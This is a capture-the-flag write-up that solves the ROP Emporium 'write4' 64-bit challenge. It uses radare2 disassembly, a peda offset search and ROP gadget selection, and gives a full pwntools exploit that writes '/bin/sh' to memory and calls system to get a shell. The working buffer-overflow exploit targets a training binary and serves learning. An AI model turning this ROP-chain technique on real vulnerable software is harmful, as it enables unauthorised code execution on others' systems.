Over the past few days I have not enough time to write and play CTF games, but yesterday I had a little bit of time, so I searched a bit about websites which has challenges about exploiting, I found a lot of websites with these kind of challenges thus I chose one of them, ROP Emporium and the challenge Write4 (random).
So, It is a writeup about this challenge, I have used peda and pwntools.
Solution
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ab37f80904704258fda5656af18246786632b560, not stripped
We open the binary with radare2 in order to list all functions, find the vulnerability (we suppose a buffer overflow) and find the ROP gadgets in order to bypass the security properties of the executable.
$ r2 -A write4
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
-- Use '-e bin.strings=false' to disable automatic string search when loading the binary.
[0x00400650]> afll
address size nbbs edges cc cost min bound range max bound calls locals args xref frame name
================== ==== ===== ===== ===== ==== ================== ===== ================== ===== ====== ==== ==== ===== ====
0x00000000004005a0 26 3 3 2 12 0x00000000004005a0 26 0x00000000004005ba 1 0 0 1 8 sym._init
0x00000000004005d0 6 1 0 1 3 0x00000000004005d0 6 0x00000000004005d6 0 0 0 4 0 sym.imp.puts
0x00000000004005e0 6 1 0 1 3 0x00000000004005e0 6 0x00000000004005e6 0 0 0 1 0 sym.imp.system
0x00000000004005f0 6 1 0 1 3 0x00000000004005f0 6 0x00000000004005f6 0 0 0 1 0 sym.imp.printf
0x0000000000400600 6 1 0 1 3 0x0000000000400600 6 0x0000000000400606 0 0 0 1 0 sym.imp.memset
0x0000000000400610 6 1 0 1 3 0x0000000000400610 6 0x0000000000400616 0 0 0 1 0 sym.imp.__libc_start_main
0x0000000000400620 6 1 0 1 3 0x0000000000400620 6 0x0000000000400626 0 0 0 1 0 sym.imp.fgets
0x0000000000400630 6 1 0 1 3 0x0000000000400630 6 0x0000000000400636 0 0 0 2 0 sym.imp.setvbuf
0x0000000000400640 6 1 0 1 3 0x0000000000400640 6 0x0000000000400646 0 0 0 1 0 sub.__gmon_start_640
0x0000000000400650 41 1 0 1 15 0x0000000000400650 41 0x0000000000400679 1 0 1 0 8 entry0
0x0000000000400680 41 4 4 2 20 0x0000000000400680 50 0x00000000004006b2 0 0 0 1 8 sym.deregister_tm_clones
0x00000000004006c0 53 3 2 -1 20 0x00000000004006c0 53 0x00000000004006f5 0 0 0 2 8 sym.register_tm_clones
0x0000000000400700 28 3 3 2 14 0x0000000000400700 28 0x000000000040071c 1 0 0 0 0 sym.__do_global_dtors_aux
0x0000000000400720 35 4 6 4 19 0x0000000000400720 38 0x0000000000400746 0 0 0 0 8 entry1.init
0x0000000000400746 111 1 0 1 40 0x0000000000400746 111 0x00000000004007b5 6 0 0 1 8 sym.main
0x00000000004007b5 82 1 0 1 32 0x00000000004007b5 82 0x0000000000400807 4 1 0 1 40 sym.pwnme
0x0000000000400807 17 1 0 1 12 0x0000000000400807 17 0x0000000000400818 1 0 0 0 8 sym.usefulFunction
0x0000000000400830 101 4 5 3 49 0x0000000000400830 101 0x0000000000400895 1 0 3 1 56 sym.__libc_csu_init
0x00000000004008a0 2 1 0 1 3 0x00000000004008a0 2 0x00000000004008a2 0 0 0 1 0 sym.__libc_csu_fini
0x00000000004008a4 9 1 0 1 5 0x00000000004008a4 9 0x00000000004008ad 0 0 0 0 8 sym._fini
So, we disassemble the functions main and pwnme in order to find the vulnerability which we have to exploit.
[0x00400746]> pD 111 @ sym.main
| ;-- main:
/ (fcn) sym.main 111
| sym.main ();
| ; DATA XREF from entry0 (0x40066d)
| 0x00400746 55 push rbp
| 0x00400747 4889e5 mov rbp, rsp
| 0x0040074a 488b050f0920. mov rax, qword [sym.stdout] ; loc.stdout ; [0x601060:8]=0
| 0x00400751 b900000000 mov ecx, 0 ; size_t size
| 0x00400756 ba02000000 mov edx, 2 ; int mode
| 0x0040075b be00000000 mov esi, 0 ; char *buf
| 0x00400760 4889c7 mov rdi, rax ; FILE*stream
| 0x00400763 e8c8feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
| 0x00400768 488b05110920. mov rax, qword [obj.stderr] ; [0x601080:8]=0
| 0x0040076f b900000000 mov ecx, 0 ; size_t size
| 0x00400774 ba02000000 mov edx, 2 ; int mode
| 0x00400779 be00000000 mov esi, 0 ; char *buf
| 0x0040077e 4889c7 mov rdi, rax ; FILE*stream
| 0x00400781 e8aafeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
| 0x00400786 bfb8084000 mov edi, str.write4_by_ROP_Emporium ; 0x4008b8 ; "write4 by ROP Emporium" ; const char *s
| 0x0040078b e840feffff call sym.imp.puts ; int puts(const char *s)
| 0x00400790 bfcf084000 mov edi, str.64bits ; 0x4008cf ; "64bits\n" ; const char *s
| 0x00400795 e836feffff call sym.imp.puts ; int puts(const char *s)
| 0x0040079a b800000000 mov eax, 0
| 0x0040079f e811000000 call sym.pwnme
| 0x004007a4 bfd7084000 mov edi, str.Exiting ; 0x4008d7 ; "\nExiting" ; const char *s
| 0x004007a9 e822feffff call sym.imp.puts ; int puts(const char *s)
| 0x004007ae b800000000 mov eax, 0
| 0x004007b3 5d pop rbp
\ 0x004007b4 c3 ret
pwnme:
[0x00400746]> pD 82 @ sym.pwnme
/ (fcn) sym.pwnme 82
| sym.pwnme ();
| ; var char *s @ rbp-0x20
| ; CALL XREF from sym.main (0x40079f)
| 0x004007b5 55 push rbp
| 0x004007b6 4889e5 mov rbp, rsp
| 0x004007b9 4883ec20 sub rsp, 0x20
| 0x004007bd 488d45e0 lea rax, [s]
| 0x004007c1 ba20000000 mov edx, 0x20 ; 32 ; size_t n
| 0x004007c6 be00000000 mov esi, 0 ; int c
| 0x004007cb 4889c7 mov rdi, rax ; void *s
| 0x004007ce e82dfeffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x004007d3 bfe0084000 mov edi, str.Go_ahead_and_give_me_the_string_already ; 0x4008e0 ; "Go ahead and give me the string already!" ; const char *s
| 0x004007d8 e8f3fdffff call sym.imp.puts ; int puts(const char *s)
| 0x004007dd bf09094000 mov edi, 0x400909 ; const char *format
| 0x004007e2 b800000000 mov eax, 0
| 0x004007e7 e804feffff call sym.imp.printf ; int printf(const char *format)
| 0x004007ec 488b157d0820. mov rdx, qword [obj.stdin] ; [0x601070:8]=0 ; FILE *stream
| 0x004007f3 488d45e0 lea rax, [s]
| 0x004007f7 be00020000 mov esi, 0x200 ; 512 ; int size
| 0x004007fc 4889c7 mov rdi, rax ; char *s
| 0x004007ff e81cfeffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x00400804 90 nop
| 0x00400805 c9 leave
\ 0x00400806 c3 ret
Obviously the vulnerability is in the function pwnme because the size of the memory address which the executable reserved in memset is only of 32 bytes and with the function fgets we can use 512 bytes.
| 0x004007ce e82dfeffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| 0x004007cb 4889c7 mov rdi, rax ; void *s
| 0x004007c6 be00000000 mov esi, 0 ; int c
| 0x004007c1 ba20000000 mov edx, 0x20 ; 32 ; size_t n
| 0x004007f7 be00020000 mov esi, 0x200 ; 512 ; int size
| 0x004007fc 4889c7 mov rdi, rax ; char *s
| 0x004007ff e81cfeffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
Although we know where EIP address is overwrite, we use peda (offset 40):
=> 0x400806 : ret
0x400807 : push rbp
0x400808 : mov rbp,rsp
0x40080b : mov edi,0x40090c
0x400810 : call 0x4005e0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe128 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe130 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe138 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe140 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe148 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe150 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe158 ("AAKAAgAA6AAL")
0056| 0x7fffffffe160 --> 0x4c414136 ('6AAL')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400806 in pwnme ()
gdb-peda$ patts
Registers contain pattern buffer:
RBP+0 found at offset: 32
Registers point to pattern buffer:
[RDX] --> offset 0 - size ~100
[RAX] --> offset 0 - size ~100
[RSP] --> offset 40 - size ~60
So, We have the offset at position 40, now we have to find the ROP gadgets in order to make the final payload. In addition, we have to know where we can inject our payload.
RAX: 0x7fffffffe0e0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBX: 0x0
RCX: 0xfbad2098
RDX: 0x7fffffffe0e0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RSI: 0x7ffff7dd5770 --> 0x0
RDI: 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe108 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x400806 (: ret)
R8 : 0x0
R9 : 0x0
R10: 0x7ffff7dd3b58 --> 0x603010 --> 0x0
R11: 0x246
R12: 0x400650 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe1f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
After we examine the ROP gadgets, we can do it
# 0x00400890 415e pop r14 <- r14 = data section writable
# 0x00400892 415f pop r15 <- r15 = /bin/sh
# 0x00400894 c3 ret
# 0x00400820 4d893e mov qword [r14], r15 <- [data section writable] = /bin/sh (So, we have /bin/sh in our program)
# 0x00400823 c3 ret
# 0x00400893 5f pop rdi <- rdi = "/bin/sh" address
# 0x00400894 c3 ret <- system
And, with all the ingredients, we have our final exploit:
#!/usr/bin/env python
from pwn import *
context(arch = 'amd64', os = 'linux')
elf = ELF("./write4")
p = process(elf.path)
#p = gdb.debug("/home/manu/Challenges/write4", '''
#break main
#''')
# 0x00400820 4d893e mov qword [r14], r15
# 0x00400823 c3 ret
# 0x00400890 415e pop r14
# 0x00400892 415f pop r15
# 0x00400894 c3 ret
# 0x00400893 5f pop rdi
# 0x00400894 c3 ret
pop_rdi_ret = 0x00400893
mov_r14_r15 = 0x00400820
pop14_pop15_ret = 0x00400890
system = 0x4005e0
call_system = 0x00400810
bin_sh = "/bin/sh\x00"
data_section_writable = 0x601050
p.sendline("A"*40 + p64(pop14_pop15_ret) + p64(data_section_writable) + bin_sh + p64(mov_r14_r15) + p64(pop_rdi_ret) + p64(data_section_writable) + p64(system))
p.interactive()
Running exploit:
$ ./exploit.py
[*] '/home/manu/Challenges/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/manu/Challenges/write4': pid 7850
[*] Switching to interactive mode
write4 by ROP Emporium
64bits
Go ahead and give me the string already!
> $ ls
core exploit.py flag.txt input peda-session-write4.txt write4 write4.zip
$
[*] Stopped process '/home/manu/Challenges/write4' (pid 7850)
Happy hacking!